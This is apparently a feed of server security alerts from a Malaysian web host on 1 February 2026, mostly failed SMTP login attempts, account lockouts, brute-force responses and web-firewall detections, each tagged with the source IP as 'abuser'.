abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:51:19 dovecot_login authenticator failed for H=(SMZoNC) [178.16.54.22]:56623: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 10:51:24 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (mulcan) [87.103.126.54]:53758: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 10:51:34 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:59087: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 10:51:09 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:54663: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:52:03 dovecot_login authenticator failed for H=(OJX39UI0R) [193.26.115.228]:56968: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.165.85.39
country_id: 1814991
description:
2026-02-01 10:52:46 dovecot_login authenticator failed for H=([220.165.85.39]) [220.165.85.39]:49704: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:52:03 dovecot_login authenticator failed for H=(yhGBMp) [178.16.54.22]:51885: 535 Incorrect authentication data (set_id=yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.196.88.151
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/creative-service.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:52:40 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:53:20 dovecot_login authenticator failed for H=(CvEGJIFPa) [193.26.115.228]:51348: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:53:33 dovecot_login authenticator failed for H=(vwIfgMk) [178.16.52.139]:60103: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 10:53:46 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:35177: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:53:04 dovecot_login authenticator failed for H=(0Y9eV3wJX) [178.16.54.22]:55564: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 10:53:11 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:42283: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.21.229
country_id: 2017370
description:
2026-02-01 10:53:28 dovecot_login authenticator failed for H=([31.173.21.229]) [31.173.21.229]:35358: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.43
country_id: 1668284
description:
2026-02-01 10:53:39 dovecot_login authenticator failed for H=110-25-107-43.adsl.fetnet.net [110.25.107.43]:49850: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-02-01 10:53:40 dovecot_login authenticator failed for H=([128.185.18.217]) [122.185.176.126]:34694: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:53:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37690: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:53:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-02-01 10:54:01 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:37510: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:54:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 10:54:29 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:48638: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:54:32 dovecot_login authenticator failed for H=(TArVRGPES) [178.16.54.22]:53973: 535 Incorrect authentication data (set_id=yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/company.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 10:54:15 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:53762: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:54:19 dovecot_login authenticator failed for H=(gViUGC) [193.26.115.228]:55283: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-02-01 10:54:28 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:42410: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:54:31 dovecot_login authenticator failed for H=(rYBXIFb3d) [178.16.52.139]:64705: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:54:46 dovecot_login authenticator failed for H=(RQ9f6i) [178.16.54.22]:56861: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:55:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:55:16 dovecot_login authenticator failed for H=(gp8Ki0dRwp) [178.16.54.22]:63024: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:55:16 dovecot_login authenticator failed for H=(YawUKqr9kD) [193.26.115.228]:59165: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:55:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60640: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:56:15 dovecot_login authenticator failed for H=(DLhJLttQAV) [193.26.115.228]:63471: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 10:56:30 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:57393: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.204
country_id: 337996
description:
2026-02-01 10:56:37 dovecot_login authenticator failed for H=([197.156.121.38]) [213.55.85.204]:7331: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:56:20 dovecot_login authenticator failed for H=(0MMDuUM06) [178.16.54.22]:62134: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 10:56:46 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:43541: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-02-01 10:56:53 dovecot_login authenticator failed for H=([193.46.192.20]) [193.46.192.20]:39382: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:56:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 10:57:27 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:55572: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:57:12 dovecot_login authenticator failed for H=(P3YXG0X3) [193.26.115.228]:52190: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:57:32 dovecot_login authenticator failed for H=(DiMLrMMB) [178.16.52.139]:57291: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-02-01 10:57:57 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:42121: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.100.177
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/penstock-rollergate-stoplog.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:57:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:57:14 dovecot_login authenticator failed for H=(ixTLBd) [178.16.54.22]:64767: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:57:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55000: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 10:57:46 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:34430: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.181
country_id: 2750405
description:
2026-02-01 10:58:14 217172 [Warning] Aborted connection 217172 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.181' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 10:58:22 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:34746: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.245.63.150
country_id: 1880251
domain: wcc.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/wcc.com.my/wp-json/wp/v2/posts HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:58:34 dovecot_login authenticator failed for H=(11AteYXv) [178.16.54.22]:65328: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.146.133.117
country_id: 1835841
description:
2026-02-01 10:58:57 dovecot_login authenticator failed for H=([218.146.133.117]) [218.146.133.117]:56382: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:58:59 dovecot_login authenticator failed for H=(To7XcsCQE) [178.16.52.139]:58561: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:58:09 dovecot_login authenticator failed for H=(j6x0Al) [193.26.115.228]:55514: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.140
country_id: 1835841
description:
2026-02-01 10:58:15 dovecot_login authenticator failed for H=([120.29.140.140]) [120.29.140.140]:36676: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:58:17 dovecot_login authenticator failed for H=(XRuf77yscE) [178.16.54.22]:53867: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:59:06 dovecot_login authenticator failed for H=(tAqTRV8) [193.26.115.228]:58985: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:59:24 dovecot_login authenticator failed for H=(1BZbTQB) [178.16.54.22]:52727: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.12
country_id: 1733045
description:
2026-02-01 10:59:25 dovecot_login authenticator failed for H=([49.124.151.12]) [49.124.151.12]:57202: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.112.89.138
country_id: 6251999
description:
2026-02-01 10:59:35 dovecot_login authenticator failed for H=ipagstaticip-26846e71-b733-4d8b-bfa7-a49755089ffe.sdsl.bell.ca [142.112.89.138]:61974: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:59:41 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37890: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 11:00:03 dovecot_login authenticator failed for H=(Gig3o0D7S) [193.26.115.228]:62497: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.181
country_id: 2750405
description:
2026-02-01 11:00:05 217286 [Warning] Aborted connection 217286 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.181' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:00:22 dovecot_login authenticator failed for H=(m5FTOb5JkU) [178.16.54.22]:64974: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:00:26 dovecot_login authenticator failed for H=(yldGdg) [178.16.52.139]:54504: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.115.208
country_id: 732800
description:
2026-02-01 11:01:50 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [151.237.115.208]:34380: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:01:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56078: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:01:02 dovecot_login authenticator failed for H=(QbjOQnu4) [178.16.52.139]:65421: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:01:15 dovecot_login authenticator failed for H=(PfdOAuoF) [178.16.54.22]:53839: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.22.218
country_id: 290557
description:
2026-02-01 11:01:31 dovecot_plain authenticator failed for H=(parcrambus) [5.32.22.218]:44745: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 11:01:41 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:56212: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 11:01:31 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:42102: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:01:41 dovecot_login authenticator failed for H=(Bzuvif6b) [178.16.54.22]:49952: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.58.242
country_id: 1835841
description:
2026-02-01 11:02:14 dovecot_login authenticator failed for H=([61.72.58.242]) [61.72.58.242]:55032: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.223.176.171
country_id: 6252001
description:
2026-02-01 11:02:08 dovecot_login authenticator failed for H=([50.223.176.171]) [50.223.176.171]:54924: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:02:08 dovecot_login authenticator failed for H=(BDpxmB) [178.16.52.139]:59792: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.88
country_id: 1814991
description:
2026-02-01 11:02:53 dovecot_login authenticator failed for H=([27.24.141.88]) [27.24.141.88]:46298: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:02:04 dovecot_login authenticator failed for H=(k6UoZnzUBg) [178.16.54.22]:53921: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-02-01 11:02:10 H=([91.92.240.254]) [91.92.240.254]:60178 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<sale@generaltradinglite.com> rejected RCPT <enquiry@symphony-led.com>: SPF: 91.92.240.254 is not allowed to send mail from generaltradinglite.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.198.128.204
country_id: 1835841
description:
2026-02-01 11:02:13 dovecot_login authenticator failed for H=([211.198.128.204]) [211.198.128.204]:60687: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 11:02:18 +0800] info [cpaneld] 185.204.54.153 - assm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user assm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.101.241.44
country_id: 1835841
description:
2026-02-01 11:02:30 dovecot_login authenticator failed for H=([222.101.241.44]) [222.101.241.44]:42945: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.149.161.131
country_id: 6252001
description:
2026-02-01 11:02:23 dovecot_login authenticator failed for H=c-50-149-161-131.hsd1.tn.comcast.net [50.149.161.131]:54724: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 11:02:24 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:11489: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 11:02:28 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:46907: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-02-01 11:02:33 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [65.191.211.33]:54394: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:03:16 dovecot_login authenticator failed for H=(GkRPvy5) [178.16.54.22]:57409: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.127.53.61
country_id: 6252001
description:
2026-02-01 11:03:48 dovecot_plain authenticator failed for H=c-24-127-53-61.hsd1.mi.comcast.net (haked) [24.127.53.61]:47900: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.101.122
country_id: 1814991
description:
2026-02-01 11:03:52 dovecot_login authenticator failed for H=([111.26.101.122]) [111.26.101.122]:57352: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.10.56.170
country_id: 732800
description:
2026-02-01 11:03:15 dovecot_login authenticator failed for H=46-10-56-170.ip.btc-net.bg [46.10.56.170]:38699: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:03:39 dovecot_login authenticator failed for H=(Wj6fcwjO) [178.16.52.139]:52296: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.215.95.14
country_id: 6252001
description:
2026-02-01 11:04:01 dovecot_plain authenticator failed for H=(buclater) [50.215.95.14]:49724: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-02-01 11:03:22 dovecot_login authenticator failed for H=([65.20.237.191]) [65.20.237.191]:58817: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-02-01 11:03:10 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:50754: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:04:03 dovecot_login authenticator failed for H=(SHLPy2TI) [178.16.54.22]:64538: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:04:44 dovecot_login authenticator failed for H=(KFN9UH) [178.16.54.22]:61411: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:04:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55274: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.206.136
country_id: 1835841
description:
2026-02-01 11:04:16 dovecot_login authenticator failed for H=([14.37.206.136]) [14.37.206.136]:46847: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:04:26 dovecot_login authenticator failed for H=(znWAp2) [178.16.52.139]:62270: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:05:05 dovecot_login authenticator failed for H=(aBv7zwBgWq) [178.16.54.22]:51731: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:05:06 dovecot_login authenticator failed for H=(dGn9IM) [178.16.52.139]:64911: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:06:09 dovecot_login authenticator failed for H=(M9EW9xsq) [178.16.52.139]:49614: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:06:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55090: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:06:20 dovecot_login authenticator failed for H=(IA5wVvQSbF) [178.16.54.22]:62107: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.159.90
country_id: 1269750
description:
2026-02-01 11:06:23 dovecot_login authenticator failed for H=([59.93.159.90]) [59.93.159.90]:39611: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:07:03 dovecot_login authenticator failed for H=(R21AhJ5) [178.16.52.139]:61331: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:07:11 dovecot_login authenticator failed for H=(PchfWaM) [158.94.208.175]:62719: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:07:12 dovecot_login authenticator failed for H=(IhtyS74) [178.16.54.22]:56832: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 11:07:58 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:46301: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 11:07:03 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:56648: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-02-01 11:07:26 dovecot_login authenticator failed for H=(nsg-corporate-54.222.187.122.airtel.in) [122.187.222.54]:50212: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
